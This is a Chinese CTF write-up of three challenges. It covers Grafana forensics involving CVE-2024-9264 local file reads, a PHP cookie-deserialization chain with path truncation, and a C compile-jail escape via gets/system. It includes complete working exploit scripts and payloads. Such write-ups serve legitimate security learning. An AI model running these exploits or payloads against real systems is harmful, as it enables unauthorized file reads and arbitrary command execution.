网络安全 CTF 2026-Mid Night flag CTF 部分wp记录 Tonglinggejimo 2026-03-20 2026-03-20 Forensic Duke’s DBar 题目描述 In every case, investigators find the same afterimage: the victim’s accounts are briefly used to access their own infrastructure, as if the killer wanted someone to watch what he did next. Then everything goes quiet again. 在所有案件中,调查人员都发现了相同的痕迹:受害者的账户会被短暂地用于访问自己的基础设施,仿佛凶手想让别人监视他接下来的行动。之后一切又恢复了平静。
Last night, a Grafana monitoring instance tied to a victim’s environment was exposed to the Internet for a short window. During that time, a local file was exfiltrated using a recent vulnerability. 昨晚,与受害者环境关联的 Grafana 监控实例短暂暴露在互联网上。在此期间,攻击者利用最近发现的一个漏洞窃取了一个本地文件。
You recovered only two artifacts from the incident window: 您仅从事件窗口中恢复了两个工件:
Provided artifacts 提供的文物
The attacker blended into background monitoring activity and Internet noise. Your task is to isolate the malicious actions and reconstruct the truth. 攻击者混入了后台监控活动和网络噪音中。你的任务是找出恶意行为并还原真相。
Objectives 目标 Find: 寻找:
The CVE identifier of the vulnerability used. 所用漏洞的 CVE 标识符 。
The full path of the exfiltrated file. 被窃取文件的完整路径 。
The attacker’s source IP address . 攻击者的源 IP 地址 。
The Grafana username (login) that carried out the malicious actions. 执行恶意操作的 Grafana 用户名 (登录名)。
MCTF{CVE-XXXX-XXXXX:path:ip:username}
解题过程 题目类型
Grafana 取证
核心漏洞:Grafana SQL Expressions 本地文件读取 / LFI(CVE-2024-9264)
关键证据:启动参数启用 sqlExpressions,日志中出现 read_blob(...),再结合认证日志和数据库完成归因
最终结果:读取 /var/lib/grafana/ctf/secret.csv,攻击源为 85.215.144.254,账号为 editor2
解题思路
先看 Grafana 启动参数和 feature toggles,确认实例暴露了什么攻击面。
再找与该攻击面匹配的强特征利用痕迹。
最后围绕恶意动作归因 IP 和用户。
之所以第一步先看启动参数,是因为这部分信息通常出现在日志开头,噪声低、信息密度高,而且直接决定哪些漏洞在当前实例上可能成立。对这题来说,最难直接从日志里读出来的是 CVE,所以必须先找漏洞类别特征,再把它映射到具体漏洞编号。
步骤 1:先确认实例暴露了什么 先看日志开头的配置和 feature toggles:
rg -n "GF_FEATURE_TOGGLES_ENABLE|sqlExpressions" grafana.log
可以命中:
14:logger=settings ... var="GF_FEATURE_TOGGLES_ENABLE=sqlExpressions"
这说明该实例启用了 SQL Expressions。
题面又明确说“攻击者利用最近发现的一个漏洞窃取了一个本地文件”,于是可以先形成待验证假设:
这次攻击和 SQL Expressions 有关。
攻击效果是本地文件读取。
日志里应出现 SQL Expression / DuckDB 文件读取相关痕迹。
接着查官方漏洞公告,可以把这个攻击面映射到具体漏洞:Grafana 官方在 2024-10-17 公布的 CVE-2024-9264 正是 SQL Expressions 相关漏洞,影响包括命令执行与本地文件包含 / 本地文件读取。NVD 对该漏洞的描述与官方公告一致。
参考:
所以本题中的漏洞编号可以锁定为:
步骤 2:定位实际的文件读取语句 既然已经怀疑是 SQL Expressions 文件读取,就不需要盲搜所有请求,而是直接找对应的特征 read_blob(...):
rg -n "read_blob\(" grafana.log
命中两条关键记录:
3932:... "expression":"SELECT content FROM read_blob('/etc/passwd')" ... 3943:... "expression":"SELECT content FROM read_blob('/var/lib/grafana/ctf/secret.csv')" ...
这里有两个文件:
/etc/passwd 更像是漏洞探测,用来验证本地文件读取是否存在。
/var/lib/grafana/ctf/secret.csv 才更符合题目中“被窃取文件”的描述。
因此,被窃取文件完整路径应为:
/var/lib/grafana/ctf/secret.csv
步骤 3:围绕恶意动作归因 IP 和内部用户 ID 接下来围绕这两条 read_blob(...) 记录去看前后认证上下文:
sed -n '3918,3948p' grafana.log
可以看到恶意查询附近的关键日志:
3926:... Seen token ... userID=5 clientIP=85.215.144.254 ... 3932:... SELECT content FROM read_blob('/etc/passwd') 3940:... Seen token ... userID=5 clientIP=85.215.144.254 ... 3943:... SELECT content FROM read_blob('/var/lib/grafana/ctf/secret.csv')
由此可以直接还原出:
两次恶意查询都绑定到 userID = 5
对应的源 IP 为 85.215.144.254
User-Agent 为 python-requests/2.31.0
所以真正执行本地文件读取利用的是:
IP = 85.215.144.254 userID = 5
步骤 4:用数据库把内部 ID 还原成 Grafana 用户名 有了 userID = 5 后,再查 grafana.db 里的 user 表:
sqlite3 -header -column grafana.db "select id,login,name from user where id=5;"
结果为:
id login name 5 editor2 editor2
因此,执行恶意操作的 Grafana 用户名是:
最终结果
CVE:CVE-2024-9264
文件:/var/lib/grafana/ctf/secret.csv
攻击源 IP:85.215.144.254
用户名:editor2
最终 flag:
MCTF{CVE-2024-9264:/var/lib/grafana/ctf/secret.csv:85.215.144.254:editor2}
Web Clash Of Flans 法兰斯之战 题目描述 A new app featuring mysterious underground fights has emerged. Try to uncover the secrets it hides. 一款以神秘地下格斗为主题的新应用横空出世。试着揭开它隐藏的秘密吧。
解题过程 题目类型
PHP Web
核心漏洞:Cookie 反序列化 + Cookie 数组绕过黑名单 + 魔术方法调用链 + 路径截断文件读取
最终效果:任意读取容器内文件,拿到 /flag.txt
关键点 1:flans Cookie 直接进入反序列化 在 src/Baker.php 中:
public static function load ($bakerName ) { $baker = new Baker ($bakerName ); if (getCookie ("flans" )) { $data = unserialize (getCookie ("flans" )); if ($data !== false && is_array ($data )) { $baker ->flans = $data ['flans' ] ?? []; } } return $baker ; }
flans Cookie 完全可控,并且直接 unserialize(),这就是利用起点。
关键点 2:黑名单可以被 Cookie 数组绕过 在 src/index.php 中:
if (is_bad ($_COOKIE ["flans" ])) { die ("No cooking here!" ); }
在 src/functions.php 中:
function is_bad ($param ) { $blacklist = array ( 'Clash' , 'Baker' ); foreach ($blacklist as $word ) { if (strpos ($param , $word ) != false ) { return true ; } } return false ; }
这里有两个问题:
只检查了 $_COOKIE["flans"],没有考虑 $_COOKIE["flans"][0] 这种数组形式。
在 PHP 7.4 下,strpos(array, "...") 只会报 warning,不会终止执行。
所以可以这样发 Cookie:
Cookie : flans[0]=<serialized_payload>
这样会产生如下效果:
is_bad($_COOKIE["flans"]) 收到数组,只报 warning,绕过黑名单。
getCookie("flans") 经过 flatten() 后,又会把数组 implode() 回字符串,继续进入 unserialize()。
关键点 3:魔术方法调用链 页面会遍历玩家拥有的 flan,并输出:
echo "<li class='flan-item'>🍮 {$flan->getName()} ... </li>" ;
如果把 Flan 对象的 name 属性替换成一个 Clash 对象,那么在字符串上下文里会触发 Clash::__toString():
public function __toString ( ) { return $this ->getSummary (); }
而 Clash::getSummary() 中又存在一段可利用逻辑:
public function getSummary ( ) { $side = getParam ("side" ); $side = $side ? $this ->flan1->$side : "red" ; return "Clash: {$this->flan1->getName()} ({$side} side) vs {$this->flan2->getName()} | Winner: {$this->winnerName} | Details: {$this->resultDetails} " ; }
如果令:
side=ClashSummaryByUuid
flan1 为一个 Baker 对象
那么实际会访问:
$this ->flan1->ClashSummaryByUuid
由于 Baker 不存在这个属性,会进入 Baker::__get():
public function __get ($name ) { if (getParam ("args" )) { $args = explode ("," , getParam ("args" )); } return call_user_func_array (array ($this , "get" . $name ), $args ); }
于是最终调用到:
$this ->getClashSummaryByUuid ($args [0 ])
关键点 4:路径截断导致任意文件读取 src/Baker.php 中的目标函数如下:
public static function getClashSummaryByUuid ($uuid ) { global $CLASH_DIR ; $file = joinpath ($CLASH_DIR . '/' . $uuid . '.cof' ); $file = substr ($file , 0 , 100 ); if (file_exists ($file )) { return file_get_contents ($file ); } return null ; }
问题在于:
前面拼接了 records/ 和 .cof
但后面又做了 substr($file, 0, 100)
所以只要构造一个足够长的路径,让前 100 个字符刚好停在目标文件名结尾,多出来的 .cof 就会被截掉。
最终使用的稳定路径是:
args=../../../../../../../../../../../../../../../../../../../../../../../proc/thread-self/root/proc/thread-self/root/flag.txt
也就是:
("../" * 17) + "proc/thread-self/root/proc/thread-self/root/flag.txt"
原因是:
joinpath() 只做词法归一化,不解析符号链接。
/proc/thread-self/root 在文件系统解析阶段会跳回当前线程所属进程的根目录 /。
连续使用两次 /proc/thread-self/root 后,最终读到的仍然是 /flag.txt。
该后缀长度恰好能和前面的 ../ 对齐,使 100 字符截断正好落在 flag.txt 末尾。
利用步骤
先 POST 一个任意 baker_name,拿到 PHPSESSID。
构造恶意序列化数据,使:
Flan.name = Clash
Clash.flan1 = Baker
发送 Cookie: flans[0]=<payload>,绕过黑名单并触发反序列化。
设置:
side=ClashSummaryByUuid
args=("../" * 17) + "proc/thread-self/root/proc/thread-self/root/flag.txt"
页面渲染 flan 名称时触发整条调用链,最终把 /flag.txt 内容回显到页面中。
EXP import argparseimport randomimport reimport stringimport sysimport urllib.parseimport urllib.requestdef php_str (value: str ) -> str : return f's:{len (value)} :"{value} ";' def php_int (value: int ) -> str : return f"i:{value} ;" def php_array (items ) -> str : chunks = [] for index, value in enumerate (items): chunks.append(php_int(index)) chunks.append(value) return f'a:{len (items)} :{{' + "" .join(chunks) + "}" def php_object (class_name: str , properties ) -> str : chunks = [] for key, value in properties.items(): chunks.append(php_str(key)) chunks.append(value) return f'O:{len (class_name)} :"{class_name} ":{len (properties)} :{{' + "" .join(chunks) + "}" def build_payload (baker_name: str ) -> str : baker = php_object( "Baker" , { "\x00*\x00name" : php_str(baker_name), "\x00*\x00flans" : "a:0:{}" , }, ) opponent = php_object( "Flan" , { "\x00*\x00name" : php_str("enemy" ), "\x00*\x00size" : php_int(8 ), "\x00*\x00weight" : php_int(2 ), "\x00*\x00sturdiness" : php_int(4 ), }, ) clash = php_object( "Clash" , { "\x00*\x00flan1" : baker, "\x00*\x00flan2" : opponent, "\x00*\x00winnerName" : php_str("winner" ), "\x00*\x00resultDetails" : php_str("details" ), }, ) flan = php_object( "Flan" , { "\x00*\x00name" : clash, "\x00*\x00size" : php_int(1 ), "\x00*\x00weight" : php_int(1 ), "\x00*\x00sturdiness" : php_int(1 ), }, ) return 'a:1:{s:5:"flans";a:1:{i:0;' + flan + "}}" def random_baker_name () -> str : suffix = "" .join(random.choice(string.ascii_lowercase) for _ in range (8 )) return f"chef_{suffix} " def build_aligned_path (suffix: str ) -> str : total = 103 - len (suffix) if total <= 0 or total % 3 != 0 : raise ValueError(f"Suffix length is not alignable: {suffix} " ) return "../" * (total // 3 ) + suffix def build_target_path () -> str : return build_aligned_path("proc/thread-self/root/proc/thread-self/root/flag.txt" ) def bootstrap_session (base_url: str , baker_name: str ): data = urllib.parse.urlencode({"baker_name" : baker_name}).encode() request = urllib.request.Request(base_url, data=data) with urllib.request.urlopen(request, timeout=5 ) as response: cookie_headers = response.headers.get_all("Set-Cookie" ) or [] for header in cookie_headers: match = re.search(r"PHPSESSID=([^;]+)" , header) if match : return match .group(1 ) raise RuntimeError("Failed to obtain PHPSESSID." ) def extract_side (body: str , baker_name: str ): pattern = re.compile ( rf"Clash: {re.escape(baker_name)} \((.*?) side\) vs enemy \| Winner: winner \| Details: details" , re.S, ) match = pattern.search(body) if not match : return None return match .group(1 ) def leak_flag (base_url: str , baker_name: str , session_id: str , payload: str , target_path: str ): params = urllib.parse.urlencode( { "side" : "ClashSummaryByUuid" , "args" : target_path, } ) request = urllib.request.Request(f"{base_url} ?{params} " ) cookie = f"PHPSESSID={session_id} ; flans[0]={urllib.parse.quote(payload, safe='' )} " request.add_header("Cookie" , cookie) with urllib.request.urlopen(request, timeout=5 ) as response: body = response.read().decode("utf-8" , "ignore" ) side = extract_side(body, baker_name) if side is None : return None side = side.strip() if not side or "Warning" in side or "Fatal error" in side: return None return side def normalize_base_url (raw_url: str ) -> str : return raw_url.rstrip("/" ) + "/" def main (): parser = argparse.ArgumentParser(description="ClashOfFlans file read exploit" ) parser.add_argument("url" , help ="Target base URL, e.g. http://127.0.0.1:1337" ) parser.add_argument("--baker" , default=None , help ="Custom baker name" ) args = parser.parse_args() base_url = normalize_base_url(args.url) baker_name = args.baker or random_baker_name() payload = build_payload(baker_name) target_path = build_target_path() try : session_id = bootstrap_session(base_url, baker_name) except Exception as exc: print (f"[-] Bootstrap failed: {exc} " , file=sys.stderr) return 1 print (f"[*] Baker: {baker_name} " ) print (f"[*] PHPSESSID: {session_id} " ) try : result = leak_flag(base_url, baker_name, session_id, payload, target_path) except Exception as exc: print (f"[!] Request failed: {exc} " , file=sys.stderr) return 1 if result is None : print ("[-] Flag not found." , file=sys.stderr) return 1 print (f"[+] {result} " ) return 0 if __name__ == "__main__" : raise SystemExit(main())
总结 这题的核心是四个问题串联:
Cookie 可控数据直接反序列化。
黑名单只检查标量,未考虑 Cookie 数组。
Clash 和 Baker 的魔术方法可以组合成调用链。
文件路径拼接后再截断,导致 .cof 后缀可被裁掉。
因此最终形成稳定的任意文件读取,并可直接读取 /flag.txt。
Misc Pixels Perfect 题目描述 A simple challenge to test your knowledge in C programming. You have to escape the jail and get the flag. 这是一个简单的挑战,旨在测试你的 C 语言编程知识。你需要逃出监狱并获取 flag
解题过程 题目类型
Misc / Jail Escape
核心问题:用户输入被直接拼进 int main(){...} 后用 GCC 编译执行
过滤器缺陷:禁了普通空格,但没有禁 tab
最终效果:借助 gets + system 实现两阶段命令执行,直接读取随机文件名的 flag
解题思路 这里的输入会被直接拼进:
int main () { <user_input> }
所以只要还能构造出一段合法 C 语句,题目就等价于“受限字符集下的代码注入”。我的思路是
先确认到底禁了哪些字符,哪些语法元素还活着。
再判断 GCC 在当前编译参数下是否允许老式函数声明。
最后看编译后的程序是否还能继续从标准输入读第二阶段数据。
关键点 1:过滤器只禁了空格,没有禁 tab 题目核心代码如下:
print ("Input your code (1 line)" )code = input ("> " ) banned_char = "#[]<>#%$:_ '\"*=,?\\/|0123456789-+" if any (c in banned_char for c in code): print ("You can't use those characters!" ) exit(1 )
被禁掉的字符很多,但有几个仍然可用:
字母
分号 ;
圆括号 ()
花括号 {}
取地址符 &
tab
C 语言把 tab 也当作空白字符处理,因此虽然普通空格被拦了,这种写法仍然合法:
int gets () ;int system () ;char c;
这一点是整题最关键的突破口。
关键点 2:GCC 在当前参数下允许老式函数声明 编译命令是:
["gcc" , "-B/usr/bin" , "-w" , "-O3" , "-o" , compiled_path, src_path]
这里有两个值得注意的地方:
没有显式加更严格的标准限制。
使用了 -w,直接吞掉了警告。
因此可以直接写这种老式声明:
然后把第二阶段输入交给它们:
char c;gets(&c); system(&c);
拼起来就是最终 payload:
int gets () ;int system () ;char c;gets(&c);system(&c);
这段 payload 的语义非常直接:
再从标准输入读一行字符串。
把这行字符串当 shell 命令执行。
关键点 3:题目本质上是两阶段交互
第一阶段:输入一行 C 代码,服务端编译并运行。
第二阶段:编译后的程序继续从标准输入读数据。
因此这样利用:
先发送 payload
等服务端完成编译并进入运行态
再发送命令,例如 cat /flag-*
这里还有一个容易踩的坑:如果本地直接用单次管道把 payload 和命令一起灌进去,Python 的 input() 可能会预读后续输入,导致编译后的程序拿不到第二阶段命令。所以自动化脚本必须按交互式两阶段来写。
关键点 4:flag 文件名是随机的 Dockerfile 中会把 flag 改名后丢到根目录:
COPY ./challenge/flag.txt /flag.txt RUN mv /flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1).txt
因此最终不能写死去读 /flag.txt,而应该直接:
这样无论实际文件名是什么,都能稳定读出来。
利用步骤
连接远端服务,等待 > 提示。
发送第一阶段 payload:
int gets () ;int system () ;char c;gets(&c);system(&c);
等待编译结束,程序进入执行态。
发送第二阶段命令:
服务端执行 system("cat /flag-*"),直接把 flag 回显出来。
EXP import argparseimport reimport socketimport sysimport timePAYLOAD = "int\tgets();int\tsystem();char\tc;gets(&c);system(&c);" DEFAULT_COMMAND = "cat /flag-*" FLAG_PATTERN = re.compile (r"[A-Za-z0-9_]{2,}\{[^}\r\n]+\}" ) def parse_target (raw: str ) -> tuple [str , int ]: text = raw.strip() if not text: raise ValueError("empty target" ) if text.startswith("nc " ): parts = text.split() if len (parts) != 3 : raise ValueError("invalid nc target format" ) return parts[1 ], int (parts[2 ]) if text.startswith("tcp://" ): text = text[len ("tcp://" ) :] if ":" in text: host, port = text.rsplit(":" , 1 ) return host.strip(), int (port.strip()) raise ValueError("target must look like host:port or 'nc host port'" ) def recv_until (sock: socket.socket, markers: tuple [str , ...], timeout: float ) -> str : deadline = time.time() + timeout chunks: list [str ] = [] while time.time() < deadline: try : data = sock.recv(4096 ) except socket.timeout: continue if not data: break text = data.decode("latin1" , errors="replace" ) chunks.append(text) merged = "" .join(chunks) if any (marker in merged for marker in markers): return merged return "" .join(chunks) def recv_briefly (sock: socket.socket, timeout: float , idle_timeout: float ) -> str : deadline = time.time() + timeout idle_deadline = time.time() + idle_timeout chunks: list [str ] = [] while time.time() < deadline: try : data = sock.recv(4096 ) except socket.timeout: if time.time() >= idle_deadline: break continue if not data: break chunks.append(data.decode("latin1" , errors="replace" )) idle_deadline = time.time() + idle_timeout return "" .join(chunks) def recv_remaining (sock: socket.socket, timeout: float ) -> str : deadline = time.time() + timeout chunks: list [str ] = [] while time.time() < deadline: try : data = sock.recv(4096 ) except socket.timeout: continue if not data: break chunks.append(data.decode("latin1" , errors="replace" )) if FLAG_PATTERN.search(chunks[-1 ]) or FLAG_PATTERN.search("" .join(chunks)): break return "" .join(chunks) def exploit (host: str , port: int , command: str , timeout: float ) -> str : with socket.create_connection((host, port), timeout=timeout) as sock: sock.settimeout(0.5 ) banner = recv_until(sock, ("> " ,), timeout) if "> " not in banner: raise RuntimeError(f"did not receive input prompt, got: {banner!r} " ) sock.sendall((PAYLOAD + "\n" ).encode()) compile_output = recv_briefly(sock, timeout=timeout, idle_timeout=1.0 ) if "Oops, there were some compilation errors!" in compile_output: raise RuntimeError("payload failed to compile" ) if "You can't use those characters!" in compile_output: raise RuntimeError("payload was blocked by the filter" ) sock.sendall((command + "\n" ).encode()) result = recv_remaining(sock, timeout) return banner + compile_output + result def main () -> int : parser = argparse.ArgumentParser(description="Exploit for Pixel Perfect" ) parser.add_argument("target" , nargs="?" , help ="host:port, tcp://host:port, or 'nc host port'" ) parser.add_argument("--command" , default=DEFAULT_COMMAND, help ="command executed by system(), default: %(default)s" ) parser.add_argument("--timeout" , type =float , default=10.0 , help ="network timeout in seconds" ) args = parser.parse_args() target = args.target or input ("Target (host:port / nc host port): " ).strip() try : host, port = parse_target(target) except ValueError as exc: print (f"[-] Invalid target: {exc} " , file=sys.stderr) return 1 print (f"[+] Connecting to {host} :{port} " ) print (f"[+] Stage 1 payload: {PAYLOAD} " ) print (f"[+] Stage 2 command: {args.command} " ) try : output = exploit(host, port, args.command, args.timeout) except Exception as exc: print (f"[-] Exploit failed: {exc} " , file=sys.stderr) return 1 flag_match = FLAG_PATTERN.search(output) if flag_match: print (f"[+] Flag: {flag_match.group(0 )} " ) else : print ("[!] Flag pattern not found, raw output follows:" ) print (output) return 0 if __name__ == "__main__" : raise SystemExit(main())
最终结果 拿到的 flag 为:
MCTF{C_1s_V3ry_P0w3rful_4nd_4LL_H15_53Cr3ts_4r3_S4f3_H3r3_1n_th3_M1ghTy_C0d3}
总结 这题本质上是一个受限字符集下的 C 代码注入题。核心利用链只有四步:
用户输入被直接拼进 main 函数体。
黑名单漏掉了 tab,因此仍可写出合法声明。
GCC 在当前参数下允许老式 gets/system 声明并正常链接。
编译后的程序还能继续从标准输入读取第二阶段命令。
因此最终可以稳定实现任意命令执行,并通过 cat /flag-* 直接读取随机文件名的 flag。
记录 第一次专门去打CTF-times上的题目,只做出来了这些比较简单的题,被师妹直接带飞,以后应该也会多打一些CTF-times上的CTF了